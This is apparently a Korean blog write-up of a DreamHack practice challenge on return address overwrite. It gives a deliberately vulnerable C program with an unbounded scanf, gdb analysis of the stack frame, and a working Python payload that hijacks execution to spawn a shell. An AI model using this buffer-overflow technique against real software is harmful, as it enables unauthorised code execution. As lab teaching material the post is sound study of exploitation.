Return address overwrite 스택 프레임의 반환 주소를 조작함으로써 프로세스의 실행 흐름을 바꾸는 공격 기법이다.
소스코드
// Name: rao.c
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
포맷스트링인 scanf("%s", buf) 부분을 보면 "%s"는 입력 길이를 제한하지 않는다.
즉, 설정된 버퍼의 값보다 더 큰 입력값을 받음.
*포맷 스트링이란?
https://hanbunny.tistory.com/72
#rao.c 컴파일
gcc -o rao rao.c -fno-stack-protector -no-pie
먼저 컴파일을 해서 버퍼 크기보다 작은 AAAAA를 입력해봄.
$ ./rao
Input: AAAAA
$
정상 종료됨.
그래서 이번에는 버퍼크기인 [0x28]보다 큰 A 60개를 입력해봄.
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Segmentation fault (core dumped)가 뜬다.
프로그램이 잘못된 메모리 주소에 접근해서 버그가 발생한거임.
*(core dumped)는 코어파일을 생성했다는 듯으로 프로그램이 비정상 종료되면 디버깅을 돕기위해 운영체제가 생성해줌.
일반적으로 코어파일은 /var/lib/apport/coredump 에 생성된다.
나는 코어파일 저장경로를 지정해줘서 /var/core/에 core.rao.2088 이름으로 저장되어 있었음.
https://hanbunny.tistory.com/73 -> 코어파일 저장이 안 되어 있을 시 참고
입력값이 스택에 어떻게 저장된건지 보기위해 코어파일을 분석해볼거.
#gdb로 코어파일 분석
$ gdb rao -c core.2088
프로그램 종료 원인과, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 나옴.
그리고 [STACK] 부분을 확인해보면 스택 최상단에 저장된값을 볼 수 있다.
A를 총 64개 쳤지만 8개만 들어가있음.
스택 버퍼에 오버플로우를 발생시켜서 반환 주소를 덮으려면, 해당 버퍼가 스택 프레임 어디에 위치하는지 알아야한다.
▼익스플로잇 시작
스택프레임 구조 파악
pwndbg> nearpc
0x400706 call printf@plt
0x40070b lea rax, [rbp - 0x30]
0x40070f mov rsi, rax
0x400712 lea rdi, [rip + 0xab]
0x400719 mov eax, 0
► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt>
format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4: "%s"__isoc99_scanf
스택 프레임 구조를 보면 오버플로우를 발생시키는 버퍼는 rbp-0x30에 위치한다.
rbp 에 스택프레임 포인터가 저장되고, rbp+0x8에는 반환 주소가 저장되는거임.
입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있어서, 그만큼을 dummy data로 채우고 실행하고자 하는 코드의 주소를 입력하면 실행 흐름 조작이 가능하다.
get_shell() 주소 확인
이 부분에 있는 get_shell() 의 주소를 먼저 찾아볼거임.
get_shell()함수가 셸을 실행해주기 때문에 , 이 함수의 주소로 main함수의 반환 주소를 덮어서 셸 획득이 가능하다.
$ gdb rao -q
pwndbg> print get_shell
get_shell()의 주소가 0x11f0이라고 나옴.
페이로드 구성
엔디언 적용
익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다.
지금 시스템에서는 인텔 x86-64아키텍쳐가 대상이므로 , 0x11f0 이 주소를 리틀 엔디언 형식으로 변환하면 "\xf0\x11" 가 된다. 이걸 전달하면됨.
익스플로잇
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xf0\x11')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
$ 가 뜨면 exploit에 성공한거임.
거기다 id를 쳐보면 uid=1000(rao) gid=1000(rao) groups=1000(rao) 가 뜸.
'System Hacking > DreamHack' 카테고리의 다른 글
[Dreamhakck] ssp_001 (0) | 2025.03.20 |
---|---|
[Dreamhack] basic_exploitation_001 (0) | 2025.03.13 |
[Dreamhack] basic_exploitation_000 (0) | 2025.03.13 |
[Linux] Coredump 파일 없을 때 해결 방법/ Segmentation fault (core dumped) (0) | 2025.03.12 |
[Dreamhack] shell_basic (0) | 2025.03.10 |